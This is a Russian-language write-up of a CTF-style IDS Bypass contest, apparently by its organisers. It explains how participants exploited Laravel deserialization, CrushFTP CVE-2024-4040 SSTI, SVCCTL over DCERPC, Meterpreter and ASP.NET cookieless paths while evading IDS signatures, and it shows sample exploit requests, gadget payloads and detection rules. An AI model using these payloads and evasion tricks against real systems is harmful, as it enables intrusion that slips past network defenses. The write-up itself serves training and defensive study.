Вот и прошли два месяца с окончания Positive Hack Days Fest 2. Несмотря на то что он уже второй год как городской киберфестиваль, все привычные активности остались. Один из конкурсов — IDS Bypass — мы провели в юбилейный, пятый раз. Подводим его итоги и делимся райтапом.
Что такое IDS Bypass
Участникам необходимо добыть флаги с шести уязвимых хостов. Уязвимости довольно простые, но их эксплуатации мешает система IDS. Ее обход и является основной задачей участников. Если IDS-система обнаруживала атаку и блокировала запрос участника, то он получал соответствующее оповещение от игрового Telegram-бота. Текст этого оповещения, название задачи, а также сетевой пакет, который заблокировала IDS-система, должны наводить участников на мысль о том, как обходить детектирующую сигнатуру.
Все взаимодействие с конкурсом происходило через Telegram-бот: В нем можно было получить информацию о тасках, засабмитить флаг, заказать club mate и получить OpenVPN-конфиг для доступа к игровым хостам. Решать задания можно было как на площадке, так и из дома в любое удобное время. Задания были доступны с 10:00 23 мая до 14:00 26 мая.
В этом году почти все конкурсы киберфестиваля PHDays Fest 2 объединил POSI Coin. Это внутренняя валюта, которую участники получали за решение заданий и которую могли обменять на мерч в специальном магазине. Все легко и просто, и даже за решение пары простейших тасок можно было получить приз в магазине.
Девиз конкурса: «У заданий может быть неограниченное число альтернативных решений».
И в этом году мы решили поощрять участников за все найденные альтернативные решения уже решенных заданий. Давайте начнем разбор!
Task1. Laravel
Открыв в веб-браузере адрес http://10.0.0.21:8080
, участники видели страницу с одной-единственной кнопкой, по нажатию на которую на страницу выводилось время. Время бралось из запроса участника: в URL-параметре с именем timestamp
он передавал сериализованный PHP-объект в Base64-кодировке (такой, например). Это должно было натолкнуть участников на мысль, что дело точно пахнет жареным ошибками в десериализации.
Как и говорится в названии, веб-приложение написано на Laravel. Laravel — это популярный фреймворк для создания веб-приложений на языке PHP. По первой же ссылке по запросу «Laravel PHP deserialization» мы находим инструкцию по эксплуатации ошибок десериализации при помощи фреймворка PHPGGC. Для библиотеки Laravel во фреймворке существует целых 20 различных цепочек, каждая из которых приводит к удаленному исполнению кода на уязвимой системе: то, что и требуется нашим участникам. Но попробовав некоторые из них в лоб, участник получает сообщение от бота IDS Bypass:
Чтобы придумать способ обхода сигнатуры от этого задания, участнику необходимо разобраться с тем, как они вообще работают. Вредоносные гаджеты состоят из цепочек PHP-объектов, определенная последовательность которых при десериализации приводит к исполнению кода злоумышленника или другому воздействию. Детектирующие правила написаны по тому же принципу: они проверяют специфическую последовательность имен классов внутри URL.
Но есть нюанс! Гаджет-то передается в виде Base64, то есть имена классов просто так найти сигнатурой не выйдет. Тут нам уже помогает следующий лайфхак: любой текст в кодировке Base64 может преобразоваться в одну из трех разных форм (наглядный пример) в зависимости от его позиции. Поэтому для каждого из возможных в этом задании гаджета мы создали детектирующие правила на все его возможные формы в Base64.
Самый простой способ обнаружить файл с флагом и прочитать его содержимое — это использовать PHP-функцию system и команды ls
и cat pwned
. Конечно, такой очевидный пейлоад сразу же блокировался правилами. Но есть и еще один нюанс: для пары гаджетов мы намеренно покрыли сигнатурами не все варианты Base64, что и было задуманным ключом к решению. Если написать лишний пробел в команде cat pwned
, строчка за ней в кодировке Base64 получит совсем другое значение и обойдет наши правила обнаружения.
По сути, участнику требовалось лишь добавить 1–2 лишних пробела в команде одного из двенадцати гаджетов Laravel, чтобы решить это задание. Зерокодинг, так сказать. Например:
./phpggc laravel/rce11 system "cat pwned" -b
Если у вас все еще остались вопросы, то вот пример такого объекта и правила для его обнаружения.
А вы бы смогли обойти его самостоятельно?
drop tcp any any -> any any (msg: "ATTACK [PTsecurity] PHP Object Deserialization RCE POP Chain (Laravel/RCE11)"; flow: established; content: "Symfony"; content: "Component"; distance: 0; content: "Mime"; distance: 0; content: "Part"; distance: 0; content: "SMimePart"; distance: 0; content: "dispatch"; distance: 0; content: "inhann"; distance: 0; content: "event"; distance: 0; content: "Faker"; distance: 0; content: "Generator"; distance: 0; pcre: "/O(?::|%3a)\d{1,2}/i"; reference: url, github.com/ambionics/phpggc; classtype: attempted-admin; sid: 1; rev:1; )
drop tcp any any -> 10.0.0.21 any (msg: "ATTACK [PTsecurity] PHP Object Deserialization RCE POP Chain (Laravel/RCE11) base64 enc"; flow: established; content: "Q29tcG9uZW50"; pcre: "/(?:U3ltZm9ue|N5bWZvbn|TeW1mb255).*?(?:TWltZ|1pbW|NaW1l).*?(?:UGFyd|Bhcn|QYXJ0).*?(?:U01pbWVQYXJ0|NNaW1lUGFyd|TTWltZVBhcn).*?(?:ZGlzcGF0Y2|Rpc3BhdGNo|kaXNwYXRja).*?(?:aW5oYW5u|luaGFub|pbmhhbm).*?(?:ZXZlbn|V2ZW50|ldmVud).*?(?:RmFrZX|Zha2Vy|GYWtlc).*?(?:R2VuZXJhdG9y|dlbmVyYXRvc)/"; reference: url, github.com/ambionics/phpggc; classtype: attempted-admin; sid: 1; rev: 1; )
Поиграться с пробелами можно тут.
Task2. Laravel2.0
В этом задании нас ждет то же самое приложение, но правила в IPS-системе уже другие: в них по-прежнему отсутствовали проверки для нескольких Base64-строк, только правила теперь искали имена классов до вредоносной команды. А это значит, что сколько бы участники ни вставляли пробелов в cat pwned
, решить задание им бы это не помогло. Необходимо было придумать что-то новое.
В целом сериализованный PHP-объект похож на структуру «ключ:значение». И одну и ту же пару можно задавать несколько раз: это не нарушает структуру PHP-объекта и актуальное значение ключа берется из последней пары. Вот пример.
С помощью этого трюка участники могли бы проделать то же самое, что и в первом задании: поменять Base64-строку сериализованного объекта и нащупать слабости детектирующих правил. Это слегка сложное решение как раз и было тем вектором, который мы задумывали. К нему участников мог подтолкнуть опыт первого задания.
Но, как и в предыдущие года, участники удивили нас несколькими альтернативными решениями, о которых мы даже не предполагали. Кстати, те же решения работали и для первого задания.
Некоторые воспользовались особенностью работы PHP-функции
base64_decode
, которая просто выбрасывает из декодируемой строки все НЕ Base64-символы, поэтому таск можно было решить таким запросом:/?timestamp=T;z;o;0;M;D;o;i;S;W;x;s;d;W;1;p;b;m;F;0;Z;V;x;C;c;m;9;h;Z;G;N;h;c;3;R;p;b;m;d;c;U;G;V;u;Z;G;l;u;Z;0;J;y;b;2;F;k;Y;2;F;z;d;C;I;6;M;j;p;7;c;z;o;5;O;i;I;A;K;g;B;l;...
Значения полей объекта могут задаваться как в виде ACSII, так и в шестнадцатеричном, что также позволяет обойти некоторые проверки в правилах обнаружения. Это делается все тем же инструментом PHPGGC с флагом
-A
:
До
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"*listeners";a:1:{s:9:"cat pwned";a:1:{i:0;s:6:"system";}}}s:8:"*event";s:9:"cat pwned";}
После
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00\2a\00\65\76\65\6e\74\73";O:28:"Illuminate\Events\Dispatcher":1:{S:12:"\00\2a\00\6c\69\73\74\65\6e\65\72\73";a:1:{S:9:"\63\61\74\20\70\77\6e\65\64";a:1:{i:0;S:6:"\73\79\73\74\65\6d";}}}S:8:"\00\2a\00\65\76\65\6e\74";S:9:"\63\61\74\20\70\77\6e\65\64";}Есть и еще одно решение. Некоторые цепочки объектов мы попросту не покрыли. Как, например, Monolog. Казалось бы, при чем тут Laravel? Но под капотом Laravel использует Monolog для логирования, и вредоносный гаджет из фреймворка PHPGGC работает и тут.
Task3. Crush
Открыв веб-страницу и прочитав название таска, участник поймет, что перед ним легкое задание на эксплуатацию уязвимости CVE-2024-4040 типа SSTI в CrushFTP. Она позволяет злоумышленнику читать любые файлы в системе без авторизации при помощи инжекта тега <INCLUDE> в одно из полей. Нюанс в том, что передавать параметры в HTTP можно как в URL, так и в теле запроса. И механизм DPI, который парсит HTTP-запросы, с легкостью справлялся с кодировкой URL encoding в URL, но не делал того же самого для тела запроса. Это и было задуманным вектором решения задания:
Задуманный вектор решения
> POST /WebInterface/function/?c2f=MlsD&command=exists&names=/a HTTP/1.1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 54
> …
> paths=%3CINCLUDE%3E%2Fflag%252Etxt%3C%2FINCLUDE%3E
< HTTP/1.1 200 OK
< Content-Length: 124
< …
< <?xml version="1.0" encoding="UTF-8"?>
< <commandResult><response>flag{g00D_j08_8UddY}
< :false</response></commandResult>
Хотя участники лучше всего справились именно с этим таском (он был решен 16 раз), для него также было найдено несколько альтернативных способов байпаса.
Одним из них стало использование и других переменных в эксплуатации SSTI. В целом атаки типа SSTI основываются на некорректной валидации и фильтрации шаблонов при динамическом создании веб-страницы (ответа). Шаблоны нужны, чтобы передавать какую-либо информацию с бэкенда на HTML-страницу. Например, встретив в запросе шаблон {ip}, уязвимый сервер подставит вместо него значение этой внутренней переменной. Возможно, оно будет пустым, и тогда тег
<INC{ip}LUDE>
из эксплойта превратится в обычный<INCLUDE>
, который корректно считается сервером. Таким образом тег<INC{ip}LUDE>
успешно считывался уязвимым сервером CrushFTP, выводил флаг в ответ и обходил правила обнаружения в IPS, которые проверяют вхождение строчкиINCLUDE
.Второй, более неожиданный способ был связан с нетипичным поведением самого CrushFTP. В целом для эксплуатации уязвимости адресу
/WebInterface/function
совершенно необязательно было присутствовать в запросе. Вместо него может быть и/WebLOLKEKInterface
, и/WebInterfaceeee
, или путь к эндпоинту в принципе может отсутствовать в запросе.
Альтернативный вектор решения
> POST /WebLOLKEKInterfaceeeee/function/?c2f=MlsD&command=exists&names=/a HTTP/1.1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 46
> Cookie: CrushAuth=...
> …
> paths=%3CINCLUDE%3E%2Fflag.txt%3C%2FINCLUDE%3E
< HTTP/1.1 200 OK
< Content-Length: 124
< …
< <?xml version="1.0" encoding="UTF-8"?>
< <commandResult><response>flag{g00D_j08_8UddY}
< :false</response></commandResult>
Task4. Object Unknown
Самое сложное задание этого года. Флаг хранился в поле binaryPathName
сервиса SECRET
на Windows-хосте. Для доступа к этому полю участникам было необходимо запросить конфиг этого сервиса по протоколу DCERPC (SVCCTL). Для этого в описании задачи мы дали данные учетной записи и небольшие пояснения. Вроде бы ничего сложного, к тому же есть «почти» готовый скрипт services.py из набора impacket, не так ли?
Оригинальное решение задания никто из участников найти так и не смог, поэтому, вероятно, мы встретим это же задание и в следующем году. А сейчас по порядку разберем, как именно участники нашли альтернативные решения.
Победитель этого года Abr1k0s пошел, наверное, самым легким путем: он просто изменил фрагментацию пакетов, тем самым обеспечил себе успешное получение флага. Фрагментация — это то, как один большой запрос разбивается на несколько запросов поменьше при передаче по сети. Правила проверяли заголовок DCERPC-пакета и наличие в запросе строки SECRET
. Подобные решения были у участников и раньше (привет, psih1337). Но Abr1k0s пошел дальше и воспользовался фрагментацией уже на уровне самого протокола DCERPC (да, там есть еще одна своя фрагментация). А именно — поменял максимальный размер DCERPC пакета опцией set_max_fragment_size
в скрипте impacket. Такая фрагментация успешно разбивала один запрос на кучу небольших пакетиков, и строка SECRET
распадалась на несколько частей, оставляя правила ни с чем.
Вторым вариантом оказалось решение, которое как нельзя лучше следует девизу нашего конкурса: «У заданий может быть неограниченное число альтернативных решений». Участники funnywhale и fiercebrute просто поменяли вызов метода OpenServiceW
на метод OpenServiceA
в impacket, хотя для этого ему пришлось самому реализовать поддержку вызова OpenServiceA
в impacket. Теперь хоть пулл-реквест оформляй. В этом случае имя сервиса передается уже в кодировке ANSI, а не UTF-16LE, что и позволяет обойти правило обнаружения.
Task5. Swiss Army Knife
Meterpreter — это модуль популярного фреймворка Metasploit или просто С2-агент, используемый для постэксплуатации. Он предоставляет атакующему интерактивную командную строку, которая позволяет взаимодействовать со скомпрометированной системой, исполнять на ней команды, повышать привилегии и развивать атаку дальше вглубь. Поскольку код Metasploit полностью открыт, то его можно модифицировать под себя.
Конечно, просто подключиться к одному из нескольких указанных портов Meterpreter у участников не выйдет. Детектирующая IPS-сигнатура обнаружит и отбросит пакеты. На верный путь к решению участников могло натолкнуть название правила SHELL [PTsecurity] Metasploit Mettle TCP session opened: AES key exchange
, в котором говорится о процессе обмена ключами.
Это не подсказка прямой наводкой, но уже кое-что. При попытке соединения клиента Meterpreter с сервером клиент посылает пакет со служебной информацией, на который мы бы хотели, чтобы участники обратили внимание. Среди прочего в том пакете передается и поле GUID, которое в случае stageless-нагрузок всегда состоит из 16 нулевых байт. Последовательность одинаковых символов бросается в глаза, что и случилось с нами, когда мы разрабатывали детектирующее правило.
Следовательно, для решения таска идем патчить клиент Meterpreter в Metasploit. Находим в файле lib/rex/post/meterpreter/client.rb
нужную строку, меняем нолик на единичку и пересобираем Metasploit. Сработало! Теперь участники могут благополучно обойти IPS-систему и подключиться к удаленной машине, где и будет расположен флаг.
Task6. No cookies
Открыв задание, участники видели одну лишь кнопку, по нажатию на которую они попадали в хранилище файлов http://10.0.0.71/storage/. В нем находились две папки: protected и public. В публичной папке хранились изображения с печеньями, но никакой информации для решения таска они не давали. В папке protected участники сразу видели интересующий их файл с незамысловатым названием flag.txt. При попытке открыть его или любой другой файл из папки участника блокировала IPS-система.
Натолкнуть на мысль о том, как можно обойти IPS-сигнатуры и с чем связана «уязвимость», могли и название таска, и заголовки, которые отправляет веб-сервер.
Первая ссылка по запросу asp.net cookies cve
уже может привести участников к правильному решению, но если заглянуть дальше, можно найти статью PT SWARM, в которой подробно разбирается некоторая уязвимость, связанная с механизмом Cookieless. Этот механизм в ASP.NET был придуман для того, чтобы обеспечить поддержку сессий в тех сценариях, когда использование кук невозможно или нежелательно. Например, некоторые старые браузеры и устройства могли не поддерживать куки.
Если пробовать проэксплуатировать эту уязвимость в лоб, то IPS-система заблокирует запрос, но уже с другим алертом:
Для правильного решения участникам нужно было просто использовать Cookieless-функционал ASP.NET так, как он был изначально задуман, а правило обнаружения просто говорило участнику о том, что он выбрал верный путь. Решение могло выглядеть так.
Task7. Kerberos noodles
Открыв полученный от организаторов .pcap-файл, участник обнаруживает множество Kerberos-сессий.
На первый взгляд, это выглядит не более чем мешанина Kerberos-запросов разных типов: AS_REQ
с именем пользователя wh1teR4bb1t (никаких отсылок, вам показалось) и TGS_REQ
с ошибками в ответ. А те TGS_REQ
, что были без ошибок, запрашивали лишь новый TGT-тикет.
Создавая этот таск, мы вдохновлялись существующим механизмом отслеживания Kerberos-билетов, который используется в PT NAD. Чтобы четко понимать, какой пользователь стоит за той или иной сессией с Kerberos-авторизацией, PT NAD отслеживает все цепочки выданных билетов начиная с самого первого AS_REQ
. AS_REQ-запрос необходим для получения билета TGT, который, в свою очередь, уже необходим для получения доступа к конкретным доменным сервисам через TGS-запрос — так работает Kerberos. Стоит понимать, что у TGT-билета есть свое время жизни (обычно 10 часов), а обновляется он также при помощи специального TGS-запроса. Короче, все это напоминает лапшу, что и отражает название последнего таска.
Но, пробежавшись глазами по Kerberos-запросам, участники могли найти кое-что интересное. Не все TGS-запросы запрашивали krbtgt
. Встречались и такие.
Опа, чирик flag. Поискав все остальные Kerberos-запросы из этой же «пачки», то есть все запросы с одним и тем же krbtgt-билетом в секции padata
(фильтр kerberos.cipher
в Wireshark), можно найти всего лишь три таких запроса:
TGS-REP, который и вернул этот krbtgt-тикет;
TGS-REQ, который запрашивал сервис flag и окончился неудачей;
TGS-REQ, который запрашивает следующий krbtgt. Удачно.
Поискав по тикету, вернувшемуся в ответ на третий запрос, мы получаем следующую «пачку» с той же самой иерархией и следующим кусочком флага. Пройдя цепочку TGS-запросов до конца, вручную или автоматически, собрав все недостающие куски флага, участник собирает ответ:flag{4c0fea791c4e1c64f9d60e922dcbadb7d9}
Итоги
Этот год сильно отличался от предыдущих. Больше времени на решения заданий. Новая система получения наград POSI Coin и самое большое количество участников.
Встречаем победителей:
1️⃣ Abr1k0s | 2️⃣ fiercebrute | 3️⃣ funnywhale |
💰Очки: 351 | 💰Очки: 340 | 💰Очки: 309 |
🏅Решено заданий: 7 | 🏅Решено заданий: 7 | 🏅Решено заданий: 6 |
Сделал First Blood — первым решил одно из заданий | Решил все семь заданий быстрее всех | Первым получил дополнительные очки за альтернативные решения одного таска |
Немного статистики:
В этом году участвовало 172 человека, в прошлом году было 138.
Хотя бы 1 задание решило 24 человека.
А все 7 заданий пытались взломать более 5000 раз.
С момента публикации задания будут доступны еще пару недель — вы можете попробовать свои силы тут, бот в закрепе.
Говорим спасибо всем участникам, всем, кто приходил к нам на площадку и несколько дней без перерыва решал задания, всем, кто подключался из дома. Именно вы создавали прекрасную атмосферу на конкурсе IDS Bypass, и без вас все это было бы невозможно! Увидимся в следующем году!
Для тех, кто пропустил, разборы предыдущих конкурсов IDS Bypass: